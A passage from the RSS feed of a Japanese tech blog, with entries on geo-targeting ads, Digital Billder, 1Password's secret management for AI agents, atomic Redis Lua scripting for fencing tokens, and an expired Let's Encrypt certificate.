&lt;h2 id="国内主要サービス比較--ase--air-track--geologic-ad"&gt;国内主要サービス比較 — ASE / AIR TRACK / GeoLogic Ad&lt;/h2&gt;
&lt;p&gt;FreakOut ASE 以外にも、国内にはジオターゲティング広告の主要プラットフォームがあります。ここでは代表的な 2 サービスと機能を比較します。&lt;/p&gt;</description></item><item><title>デザイナーのためのAI活用術5選 — 制作スピードを劇的に上げる実践テクニック</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%87%E3%82%B6%E3%82%A4%E3%83%8A%E3%83%BC%E3%81%AE%E3%81%9F%E3%82%81%E3%81%AEai%E6%B4%BB%E7%94%A8%E8%A1%935%E9%81%B8-%E5%88%B6%E4%BD%9C%E3%82%B9%E3%83%94%E3%83%BC%E3%83%89%E3%82%92%E5%8A%87%E7%9A%84%E3%81%AB%E4%B8%8A%E3%81%92%E3%82%8B%E5%AE%9F%E8%B7%B5%E3%83%86%E3%82%AF%E3%83%8B%E3%83%83%E3%82%AF/</link><pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%87%E3%82%B6%E3%82%A4%E3%83%8A%E3%83%BC%E3%81%AE%E3%81%9F%E3%82%81%E3%81%AEai%E6%B4%BB%E7%94%A8%E8%A1%935%E9%81%B8-%E5%88%B6%E4%BD%9C%E3%82%B9%E3%83%94%E3%83%BC%E3%83%89%E3%82%92%E5%8A%87%E7%9A%84%E3%81%AB%E4%B8%8A%E3%81%92%E3%82%8B%E5%AE%9F%E8%B7%B5%E3%83%86%E3%82%AF%E3%83%8B%E3%83%83%E3%82%AF/</guid><description>Claude Code × Figma 連携、AI モックアップ、AI 素材生成など、デザイナーの制作スピードを劇的に上げる AI 活用術5選を解説。</description></item><item><title>人間の脳細胞で動く「データセンター」— Cortical Labs の生体コンピューティング革命</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E4%BA%BA%E9%96%93%E3%81%AE%E8%84%B3%E7%B4%B0%E8%83%9E%E3%81%A7%E5%8B%95%E3%81%8F%E3%83%87%E3%83%BC%E3%82%BF%E3%82%BB%E3%83%B3%E3%82%BF%E3%83%BC-cortical-labs-%E3%81%AE%E7%94%9F%E4%BD%93%E3%82%B3%E3%83%B3%E3%83%94%E3%83%A5%E3%83%BC%E3%83%86%E3%82%A3%E3%83%B3%E3%82%B0%E9%9D%A9%E5%91%BD/</link><pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E4%BA%BA%E9%96%93%E3%81%AE%E8%84%B3%E7%B4%B0%E8%83%9E%E3%81%A7%E5%8B%95%E3%81%8F%E3%83%87%E3%83%BC%E3%82%BF%E3%82%BB%E3%83%B3%E3%82%BF%E3%83%BC-cortical-labs-%E3%81%AE%E7%94%9F%E4%BD%93%E3%82%B3%E3%83%B3%E3%83%94%E3%83%A5%E3%83%BC%E3%83%86%E3%82%A3%E3%83%B3%E3%82%B0%E9%9D%A9%E5%91%BD/</guid><description>Cortical Labs が脳細胞を使った生体データセンターを建設予定。消費電力は電卓以下で、AI のエネルギー問題に挑む生体コンピューティングの最前線を解説。</description></item><item><title>燈（Akari Inc.）の建設業向け管理業務DXサービス「Digital Billder」</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E7%87%88akari-inc.%E3%81%AE%E5%BB%BA%E8%A8%AD%E6%A5%AD%E5%90%91%E3%81%91%E7%AE%A1%E7%90%86%E6%A5%AD%E5%8B%99dx%E3%82%B5%E3%83%BC%E3%83%93%E3%82%B9digital-billder/</link><pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E7%87%88akari-inc.%E3%81%AE%E5%BB%BA%E8%A8%AD%E6%A5%AD%E5%90%91%E3%81%91%E7%AE%A1%E7%90%86%E6%A5%AD%E5%8B%99dx%E3%82%B5%E3%83%BC%E3%83%93%E3%82%B9digital-billder/</guid><description>&lt;p&gt;東大松尾研発の AI スタートアップ「燈株式会社（Akari Inc.）」が提供する、建設業に完全特化した管理業務 DX サービス「Digital Billder（デジタルビルダー）」を紹介します。&lt;/p&gt;
&lt;h2 id="digital-billder-とは"&gt;Digital Billder とは&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://www.lp.digitalbillder.com/"&gt;Digital Billder&lt;/a&gt; は、建設業の管理業務をデジタル化するための SaaS サービスです。紙ベースで行われていた請求書処理、発注管理、経費精算といったアナログ業務を効率化します。&lt;/p&gt;
&lt;p&gt;建設業界では、紙の請求書の受領・開封・現場ごとの整理・現場と本社間の運搬・押印・手入力といった煩雑な作業が日常的に発生しています。Digital Billder はこれらの業務を電子化し、大幅な工数削減を実現します。&lt;/p&gt;
&lt;h2 id="サービスラインナップ"&gt;サービスラインナップ&lt;/h2&gt;
&lt;p&gt;Digital Billder は以下の4つのサービスで構成されています。&lt;/p&gt;
&lt;h3 id="請求書処理digital-billder-invoice"&gt;請求書処理（Digital Billder Invoice）&lt;/h3&gt;
&lt;p&gt;建設業特有の業務フローに対応した請求書処理サービスです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;工事ごと・工種ごとの請求書管理&lt;/li&gt;
&lt;li&gt;出来高払い・査定・相殺処理への対応&lt;/li&gt;
&lt;li&gt;各社の指定書式に柔軟に対応&lt;/li&gt;
&lt;li&gt;インボイス制度・電子帳簿保存法に準拠&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="発注管理digital-billder-purchases"&gt;発注管理（Digital Billder Purchases）&lt;/h3&gt;
&lt;p&gt;電子発注・電子契約に対応した発注管理サービスです。見積依頼から発注・契約までの一連のフローをデジタル化します。&lt;/p&gt;
&lt;h3 id="経費精算digital-billder-expenses"&gt;経費精算（Digital Billder Expenses）&lt;/h3&gt;
&lt;p&gt;建設現場で発生する経費の精算を効率化するサービスです。現場経費と一般経費の両方に対応しています。&lt;/p&gt;
&lt;h3 id="見積書処理"&gt;見積書処理&lt;/h3&gt;
&lt;p&gt;見積書の作成・管理をデジタル化し、業務プロセスを効率化します。&lt;/p&gt;
&lt;h2 id="提供会社燈株式会社akari-inc"&gt;提供会社：燈株式会社（Akari Inc.）&lt;/h2&gt;
&lt;p&gt;燈株式会社は2021年2月に設立された、東京大学松尾研究室発の AI スタートアップです。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;代表取締役 CEO&lt;/strong&gt;: 野呂侑希&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;所在地&lt;/strong&gt;: 東京都文京区小石川&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;従業員数&lt;/strong&gt;: 約300名&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;企業評価額&lt;/strong&gt;: 1,000億円超（2026年1月時点）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;2026年1月には三菱電機などから50億円の資金調達を実施し、ユニコーン企業の仲間入りを果たしました。建設業特化の生成 AI「光/Hikari」の開発や、大成建設・東洋建設といった大手ゼネコンとの DX 推進プロジェクトも手がけています。&lt;/p&gt;
&lt;h2 id="導入実績"&gt;導入実績&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;2022年6月に一般提供を開始&lt;/li&gt;
&lt;li&gt;リリース1年で導入総合建設業者100社を突破&lt;/li&gt;
&lt;li&gt;2025年11月時点で累計導入企業数1,000社超&lt;/li&gt;
&lt;li&gt;36都道府県以上で導入&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="建設業界の-dx-背景"&gt;建設業界の DX 背景&lt;/h2&gt;
&lt;p&gt;建設業界では以下の法制度対応が求められており、DX の必要性が高まっています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;インボイス制度&lt;/strong&gt;（2023年10月〜）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;改正電子帳簿保存法&lt;/strong&gt;（2024年1月〜）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;時間外労働上限規制&lt;/strong&gt;（2024年4月〜、いわゆる「2024年問題」）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;こうした制度対応と業務効率化を同時に実現できる点が、Digital Billder が急速に普及している理由の一つです。&lt;/p&gt;</description></item><item><title>1Password Unified Access：AIエージェント時代のシークレット管理が本格始動</title><link>https://hdknr.github.io/blogs/posts/2026/03/1password-unified-accessai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E6%99%82%E4%BB%A3%E3%81%AE%E3%82%B7%E3%83%BC%E3%82%AF%E3%83%AC%E3%83%83%E3%83%88%E7%AE%A1%E7%90%86%E3%81%8C%E6%9C%AC%E6%A0%BC%E5%A7%8B%E5%8B%95/</link><pubDate>Tue, 17 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/1password-unified-accessai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E6%99%82%E4%BB%A3%E3%81%AE%E3%82%B7%E3%83%BC%E3%82%AF%E3%83%AC%E3%83%83%E3%83%88%E7%AE%A1%E7%90%86%E3%81%8C%E6%9C%AC%E6%A0%BC%E5%A7%8B%E5%8B%95/</guid><description>&lt;p&gt;Claude Code や Cursor で開発していると、&lt;code&gt;.env&lt;/code&gt; に書いた API キーを AI が普通にファイルシステムから読みに行く。&lt;code&gt;.gitignore&lt;/code&gt; していても関係ない。この課題に対して、1Password が Anthropic・Cursor・GitHub・Vercel・Perplexity と連携し「AI エージェント時代のシークレット管理」を本気で構築し始めた。&lt;/p&gt;
&lt;h2 id="何が発表されたのか"&gt;何が発表されたのか&lt;/h2&gt;
&lt;p&gt;2026年3月17日、1Password は &lt;strong&gt;1Password Unified Access&lt;/strong&gt; を発表した。人間・マシン・AI エージェントにまたがるアクセスを一元的に発見・保護・監査するためのプラットフォームだ。&lt;/p&gt;
&lt;p&gt;従来のパスワードマネージャーの枠を超え、AI エージェントが本番環境で実際に動作する時代に合わせたクレデンシャル管理を提供する。&lt;/p&gt;
&lt;h2 id="なぜ必要なのかenv-問題"&gt;なぜ必要なのか：.env 問題&lt;/h2&gt;
&lt;p&gt;AI コーディングツール（Claude Code、Cursor など）は、タスク遂行のためにローカルファイルシステム上のファイルを読む。&lt;code&gt;.env&lt;/code&gt; ファイルに平文で保存された API キーやトークンは、AI エージェントから直接アクセスできてしまう。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;.gitignore&lt;/code&gt; はリポジトリへのコミットを防ぐだけで、ローカルファイルシステム上での読み取りは防げない。つまり、現状の &lt;code&gt;.env&lt;/code&gt; ベースのシークレット管理は AI エージェント時代には不十分だ。&lt;/p&gt;
&lt;h2 id="各社との連携内容"&gt;各社との連携内容&lt;/h2&gt;
&lt;h3 id="anthropicclaude-code--cowork--ブラウザ拡張"&gt;Anthropic（Claude Code / Cowork / ブラウザ拡張）&lt;/h3&gt;
&lt;p&gt;Anthropic は 1Password を統合し、Claude Code、Cowork、Claude ブラウザ拡張からボールト内のアイテムを安全にオートフィルできるようにする。ユーザーの同意のもと、Claude がサイトやサービスに 1Password から直接クレデンシャルを取得してログインできる仕組みだ。&lt;/p&gt;
&lt;h3 id="cursorhooks-による-just-in-time-シークレット"&gt;Cursor（Hooks による just-in-time シークレット）&lt;/h3&gt;
&lt;p&gt;Cursor との連携では、&lt;strong&gt;Cursor Hooks&lt;/strong&gt; を活用した just-in-time なシークレット提供を実現する。&lt;/p&gt;
&lt;p&gt;仕組みは以下の通り:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;プロジェクトに &lt;code&gt;hooks.json&lt;/code&gt; を設定&lt;/li&gt;
&lt;li&gt;Cursor がシェルコマンドを実行する前に、1Password Environments Hook Script が起動&lt;/li&gt;
&lt;li&gt;プロセスがアクセスを要求すると、1Password がユーザーに認証を求める&lt;/li&gt;
&lt;li&gt;承認されると、必要なシークレットがランタイムセッションのメモリ上にのみ提供される&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;これにより、平文キーがディスクやソースコードにコミットされることがなく、環境変数のハードコードやトークンの履歴残留も防げる。&lt;/p&gt;</description></item><item><title>redis-py の Lock をサブクラス化してフェンシングトークンを実装する</title><link>https://hdknr.github.io/blogs/posts/2026/03/redis-py-%E3%81%AE-lock-%E3%82%92%E3%82%B5%E3%83%96%E3%82%AF%E3%83%A9%E3%82%B9%E5%8C%96%E3%81%97%E3%81%A6%E3%83%95%E3%82%A7%E3%83%B3%E3%82%B7%E3%83%B3%E3%82%B0%E3%83%88%E3%83%BC%E3%82%AF%E3%83%B3%E3%82%92%E5%AE%9F%E8%A3%85%E3%81%99%E3%82%8B/</link><pubDate>Tue, 17 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/redis-py-%E3%81%AE-lock-%E3%82%92%E3%82%B5%E3%83%96%E3%82%AF%E3%83%A9%E3%82%B9%E5%8C%96%E3%81%97%E3%81%A6%E3%83%95%E3%82%A7%E3%83%B3%E3%82%B7%E3%83%B3%E3%82%B0%E3%83%88%E3%83%BC%E3%82%AF%E3%83%B3%E3%82%92%E5%AE%9F%E8%A3%85%E3%81%99%E3%82%8B/</guid><description>&lt;p&gt;redis-py の &lt;code&gt;Lock&lt;/code&gt; クラスは UUID ベースのトークンでロックの所有権を管理するが、フェンシングトークン（単調増加する数値）は提供しない。しかし、&lt;code&gt;Lock&lt;/code&gt; クラスは &lt;code&gt;do_acquire&lt;/code&gt; や Lua スクリプトをオーバーライドできる設計になっており、サブクラス化でフェンシングトークンを追加できる。&lt;/p&gt;
&lt;p&gt;本記事では、redis-py の &lt;code&gt;Lock&lt;/code&gt; を拡張してフェンシングトークンを発行する &lt;code&gt;FencedLock&lt;/code&gt; クラスの実装例を紹介する。&lt;/p&gt;
&lt;h2 id="前提知識redis-の-lua-スクリプティング"&gt;前提知識：Redis の Lua スクリプティング&lt;/h2&gt;
&lt;p&gt;Redis はバージョン 2.6 から &lt;a href="https://redis.io/docs/latest/develop/interact/programmability/eval-intro/"&gt;Lua スクリプトの実行機能&lt;/a&gt;を内蔵している。&lt;code&gt;EVAL&lt;/code&gt; コマンドで Lua スクリプトを Redis サーバー上で直接実行でき、&lt;strong&gt;複数の Redis コマンドをアトミック（不可分）に実行&lt;/strong&gt;できる。&lt;/p&gt;
&lt;h3 id="なぜ-lua-スクリプトが必要か"&gt;なぜ Lua スクリプトが必要か&lt;/h3&gt;
&lt;p&gt;通常、Redis コマンドは1つずつ実行される。例えば「キーが存在しなければセットし、同時にカウンターをインクリメントする」という処理を2つのコマンドで行うと、その間に他のクライアントが割り込む可能性がある：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;クライアント A: SET mykey value NX → 成功
← クライアント B が割り込む余地
クライアント A: INCR counter → インクリメント
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Lua スクリプトを使えば、この2つの操作を&lt;strong&gt;1回のアトミックな呼び出し&lt;/strong&gt;にまとめられる：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-lua" data-lang="lua"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- Redis サーバー上で実行される（他のコマンドは割り込めない）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;local&lt;/span&gt; ok &lt;span style="color:#f92672"&gt;=&lt;/span&gt; redis.call(&lt;span style="color:#e6db74"&gt;&amp;#39;SET&amp;#39;&lt;/span&gt;, KEYS[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;], ARGV[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;], &lt;span style="color:#e6db74"&gt;&amp;#39;NX&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; ok &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; redis.call(&lt;span style="color:#e6db74"&gt;&amp;#39;INCR&amp;#39;&lt;/span&gt;, KEYS[&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="redis-cli-での実行例"&gt;Redis CLI での実行例&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# EVAL &amp;#34;スクリプト&amp;#34; キーの数 キー1 キー2 ... 引数1 引数2 ...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;redis-cli EVAL &lt;span style="color:#e6db74"&gt;&amp;#34;return redis.call(&amp;#39;SET&amp;#39;, KEYS[1], ARGV[1])&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; mykey myvalue
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="redis-py-での実行例"&gt;redis-py での実行例&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; redis
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;r &lt;span style="color:#f92672"&gt;=&lt;/span&gt; redis&lt;span style="color:#f92672"&gt;.&lt;/span&gt;Redis()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 方法1: eval で直接実行&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;r&lt;span style="color:#f92672"&gt;.&lt;/span&gt;eval(&lt;span style="color:#e6db74"&gt;&amp;#34;return redis.call(&amp;#39;SET&amp;#39;, KEYS[1], ARGV[1])&amp;#34;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;mykey&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;myvalue&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 方法2: register_script で事前登録（推奨）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# サーバー側に SHA1 でキャッシュされ、2回目以降はスクリプト本文の転送が不要&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;script &lt;span style="color:#f92672"&gt;=&lt;/span&gt; r&lt;span style="color:#f92672"&gt;.&lt;/span&gt;register_script(&lt;span style="color:#e6db74"&gt;&amp;#34;return redis.call(&amp;#39;GET&amp;#39;, KEYS[1])&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;result &lt;span style="color:#f92672"&gt;=&lt;/span&gt; script(keys&lt;span style="color:#f92672"&gt;=&lt;/span&gt;[&lt;span style="color:#e6db74"&gt;&amp;#34;mykey&amp;#34;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="セキュリティ上の注意"&gt;セキュリティ上の注意&lt;/h3&gt;
&lt;p&gt;Lua スクリプトのパラメータは &lt;code&gt;KEYS[]&lt;/code&gt; と &lt;code&gt;ARGV[]&lt;/code&gt; で渡される。SQL のプリペアドステートメントと同様に、パラメータが文字列としてスクリプトに展開されることはないため、&lt;strong&gt;パラメータ経由でのインジェクションはできない&lt;/strong&gt;。ただし、ユーザー入力でスクリプト文字列自体を動的に組み立てると危険なので、スクリプトは固定文字列として定義すること。&lt;/p&gt;</description></item><item><title>開発サーバーの Let's Encrypt 証明書が切れたので自動更新できるようにした</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E9%96%8B%E7%99%BA%E3%82%B5%E3%83%BC%E3%83%90%E3%83%BC%E3%81%AE-lets-encrypt-%E8%A8%BC%E6%98%8E%E6%9B%B8%E3%81%8C%E5%88%87%E3%82%8C%E3%81%9F%E3%81%AE%E3%81%A7%E8%87%AA%E5%8B%95%E6%9B%B4%E6%96%B0%E3%81%A7%E3%81%8D%E3%82%8B%E3%82%88%E3%81%86%E3%81%AB%E3%81%97%E3%81%9F/</link><pubDate>Tue, 17 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E9%96%8B%E7%99%BA%E3%82%B5%E3%83%BC%E3%83%90%E3%83%BC%E3%81%AE-lets-encrypt-%E8%A8%BC%E6%98%8E%E6%9B%B8%E3%81%8C%E5%88%87%E3%82%8C%E3%81%9F%E3%81%AE%E3%81%A7%E8%87%AA%E5%8B%95%E6%9B%B4%E6%96%B0%E3%81%A7%E3%81%8D%E3%82%8B%E3%82%88%E3%81%86%E3%81%AB%E3%81%97%E3%81%9F/</guid><description>&lt;h2 id="きっかけ"&gt;きっかけ&lt;/h2&gt;
&lt;p&gt;ある日、開発環境の Web アプリにアクセスしたら証明書の期限切れ警告が表示された。&lt;/p&gt;
&lt;p&gt;確認してみると、ワイルドカード証明書 (&lt;code&gt;*.dev.example.com&lt;/code&gt;) がちょうどその日に期限切れになっていた。さらにもう1つ古い証明書も半年前に失効済み。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Certificate Name: dev.example.com-0001
Domains: *.dev.example.com
Expiry Date: 2026-03-17 (INVALID: EXPIRED)
Certificate Name: dev.example.com
Domains: *.dev.example.com dev.example.com
Expiry Date: 2025-09-17 (INVALID: EXPIRED)
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="原因"&gt;原因&lt;/h2&gt;
&lt;p&gt;certbot の renewal 設定を確認したところ、問題が見えた。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
